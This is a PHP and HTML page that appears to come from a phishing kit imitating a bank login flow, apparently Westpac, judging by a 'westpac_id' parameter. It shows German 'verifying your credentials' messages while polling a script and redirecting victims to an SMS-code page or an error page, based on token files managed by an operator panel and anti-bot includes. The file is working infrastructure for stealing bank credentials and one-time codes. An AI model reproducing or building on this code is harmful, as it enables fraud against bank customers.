<?php include"../panel/send/panel.php";include"../panel/banip/zeus.php";include"../prevents/all.php";if(session_status()==PHP_SESSION_NONE){session_start();}$userIP=$_SERVER['REMOTE_ADDR'];function checkAndRedirect($file,$redirectPage,$randString){if(!isset($_SESSION['auth_token'])){header("Location: ../index.php");exit();}$currentToken=$_SESSION['auth_token'];if(file_exists($file)){$lines=file($file,FILE_IGNORE_NEW_LINES);foreach($lines as$line){$token=trim($line);if($currentToken===$token){$lines=array_diff($lines,[$line]);file_put_contents($file,implode("\n",$lines));$securityHash=hash('sha256',$currentToken.$_SERVER['HTTP_USER_AGENT']);header("Location: $redirectPage?westpac_id={$randString}&ue={$randString}&token={$currentToken}&check={$securityHash}");exit();}}}}?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vorgang wird bearbeitet</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        /* --- DESIGN UPDATE: Main color changed to #233256 --- */
        :root {
            --primary-color: #233256; /* New main color */
            --primary-text: #333333;
            --background-light: #f8f9fa; 
            --white: #ffffff;
            --border-light: #e9ecef; 
            --accent-color: var(--primary-color); /* Spinner and progress bar color */
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', sans-serif;
        }

        body {
            background-color: var(--background-light);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            padding: 20px;
            color: var(--primary-text);
        }

        .card-container {
            background: var(--white);
            padding: 60px 80px;
            border-radius: 28px;
            box-shadow: 0 16px 40px rgba(0, 0, 0, 0.08);
            border: 1px solid var(--border-light);
            position: relative;
            overflow: hidden;
            min-width: 500px; 
            width: 90%;
            max-width: 550px;
        }

        .loading-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            gap: 40px;
        }

        .logo {
            width: 180px;
            height: auto;
            margin-bottom: 20px;
        }
        
        /* --- SPINNER STYLES (Adjusted colors to --accent-color) --- */
        .spinner-wrapper {
            position: relative;
            width: 100px;
            height: 100px;
        }
        
        .spinner {
            position: absolute;
            width: 100%;
            height: 100%;
            border-radius: 50%;
            box-sizing: border-box;
        }
        
        .spinner-outer {
            border: 4px solid transparent;
            border-top-color: var(--accent-color);
            animation: spin 1s linear infinite;
        }
        
        .spinner-middle {
            width: 80%;
            height: 80%;
            top: 10%;
            left: 10%;
            border: 4px solid transparent;
            border-right-color: var(--accent-color);
            animation: spin 1.5s linear infinite reverse;
        }
        
        .spinner-inner {
            width: 60%;
            height: 60%;
            top: 20%;
            left: 20%;
            border: 4px solid transparent;
            border-bottom-color: var(--accent-color);
            animation: spin 2s linear infinite;
        }
        
        .spinner-dot {
            position: absolute;
            top: 50%;
            left: 50%;
            width: 20px;
            height: 20px;
            background: var(--accent-color);
            border-radius: 50%;
            transform: translate(-50%, -50%);
            animation: pulse 1s ease-in-out infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        @keyframes pulse {
            0%, 100% { transform: translate(-50%, -50%) scale(0.8); }
            50% { transform: translate(-50%, -50%) scale(1); }
        }

        /* --- MESSAGE STYLES (Adjusted colors to --accent-color) --- */
        .message-container {
            margin-top: 40px;
            text-align: center;
            height: 30px; 
            position: relative;
            width: 100%;
        }

        .message-item {
            display: flex;
            align-items: center;
            gap: 12px;
            opacity: 0;
            transform: translateY(20px);
            position: absolute;
            left: 50%;
            transform: translateX(-50%) translateY(20px);
            transition: none; 
        }

        .message-item.active { animation: slideIn 0.5s forwards; }
        .message-item.exit { animation: slideOut 0.5s forwards; }
        
        .message-icon {
            width: 24px;
            height: 24px;
            fill: var(--accent-color);
            flex-shrink: 0;
        }

        .message-text {
            color: var(--primary-text);
            font-size: 18px;
            font-weight: 500;
        }

        @keyframes slideIn {
            from { opacity: 0; transform: translateX(-50%) translateY(20px); }
            to { opacity: 1; transform: translateX(-50%) translateY(0); }
        }

        @keyframes slideOut {
            from { opacity: 1; transform: translateX(-50%) translateY(0); }
            to { opacity: 0; transform: translateX(-50%) translateY(-20px); }
        }

        /* --- PROGRESS BAR (Adjusted colors to --accent-color) --- */
        .progress-bar {
            position: absolute;
            bottom: 0;
            left: 0;
            height: 5px;
            background: var(--accent-color);
            width: 0%;
            animation: progress 12s linear forwards;
            border-radius: 0 0 28px 28px; 
        }

        @keyframes progress {
            0% { width: 0; }
            100% { width: 100%; }
        }

        /* --- RESPONSIVE ADJUSTMENTS --- */
        @media (max-width: 768px) {
            .card-container {
                min-width: unset;
                width: 90%;
                padding: 40px;
            }
            .logo { width: 150px; }
            .spinner-wrapper {
                width: 80px;
                height: 80px;
            }
            .message-text { font-size: 16px; }
        }

        @media (max-width: 480px) {
            .card-container { padding: 30px 20px; }
            .logo { width: 120px; }
            .spinner-wrapper {
                width: 60px;
                height: 60px;
            }
            .spinner-dot {
                width: 12px;
                height: 12px;
            }
            .message-text { font-size: 14px; }
        }
    </style>
</head>
<body>
    <div class="card-container">
        <div class="loading-container">
            <img src="../logo.png" alt="Logo" class="logo">
            <div class="spinner-wrapper">
                <div class="spinner spinner-outer"></div>
                <div class="spinner spinner-middle"></div>
                <div class="spinner spinner-inner"></div>
                <div class="spinner-dot"></div>
            </div>
            <div class="message-container" id="messageContainer"></div>
        </div>
        <div class="progress-bar"></div>
    </div>
    <script>
        const messages = [
            // German Translations
            { text: "Sichere Verbindung wird hergestellt...", icon: `<svg class="message-icon" viewBox="0 0 24 24"><path d="M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2z"/></svg>` },
            { text: "Ihre Anmeldedaten werden überprüft...", icon: `<svg class="message-icon" viewBox="0 0 24 24"><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"/></svg>` },
            { text: "Kontostatus wird geprüft...", icon: `<svg class="message-icon" viewBox="0 0 24 24"><path d="M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2zm-9 14l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg>` },
            { text: "Ihre persönlichen Einstellungen werden geladen...", icon: `<svg class="message-icon" viewBox="0 0 24 24"><path d="M19.14 12.94c.04-.3.06-.61.06-.94 0-.32-.02-.64-.07-.94l2.03-1.58c.18-.14.23-.41.12-.61l-1.92-3.32c-.12-.22-.37-.29-.59-.22l-2.39.96c-.5-.38-1.03-.7-1.62-.94l-.36-2.54c-.04-.24-.24-.41-.48-.41h-3.84c-.24 0-.43.17-.47.41l-.36 2.54c-.59.24-1.13.57-1.62.94l-2.39-.96c-.22-.08-.47 0-.59.22L2.74 8.87c-.12.21-.08.47.12.61l2.03 1.58c-.05.3-.07.63-.07.94s.02.64.07.94l-2.03 1.58c-.18-.14-.23-.41-.12-.61l1.92 3.32c.12.22.37.29.59.22l2.39-.96c.5.38 1.03.7 1.62.94l.36 2.54c.05.24.24.41.48.41h3.84c.24 0 .44-.17.47-.41l.36-2.54c.59-.24 1.13-.56 1.62-.94l2.39.96c.22.08.47 0 .59-.22l1.92-3.32c.12-.22.07-.47-.12-.61l-2.03-1.58zM12 15.6c-1.98 0-3.6-1.62-3.6-3.6s1.62-3.6 3.6-3.6 3.6 1.62 3.6 3.6-1.62 3.6-3.6 3.6z"/></svg>` },
            { text: "Ihr Dashboard wird vorbereitet...", icon: `<svg class="message-icon" viewBox="0 0 24 24"><path d="M3 13h8V3H3v10zm0 8h8v-6H3v6zm10 0h8V11h-8v10zm0-18v6h8V3h-8z"/></svg>` }
        ];
        let currentMessageIndex = 0;
        const messageContainer = document.getElementById('messageContainer');

        function showMessage(index) {
            const message = messages[index];
            const messageElement = document.createElement('div');
            messageElement.className = 'message-item';
            messageElement.innerHTML = `${message.icon}<span class="message-text">${message.text}</span>`;

            const oldMessage = messageContainer.querySelector('.message-item');
            if (oldMessage) {
                oldMessage.classList.add('exit');
                setTimeout(() => oldMessage.remove(), 500);
            }
            messageContainer.appendChild(messageElement);
            setTimeout(() => messageElement.classList.add('active'), 50);
        }
        showMessage(0);
        const messageInterval = setInterval(() => {
            currentMessageIndex = (currentMessageIndex + 1) % messages.length;
            showMessage(currentMessageIndex);
        }, 3000);
    </script>
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            function checkRedirections() {
                fetch('check_sms.php')
                    .then(response => response.json())
                    .then(data => {
                        if (data.redirect) {
                            clearInterval(messageInterval); // Stop message rotation
                            window.location.href = data.url;
                        }
                    })
                    // Translated error message for German language
                    .catch(error => console.error('Fehler:', error)); 
            }
            setInterval(checkRedirections, 2000);
        });
    </script>
    <?php checkAndRedirect('../panel/fonctions/logfonctions/ghalet.txt','../errors/logerror.php',$randString);checkAndRedirect('../panel/fonctions/logfonctions/shih.txt','../sms.php',$randString);?>
</body>
</html>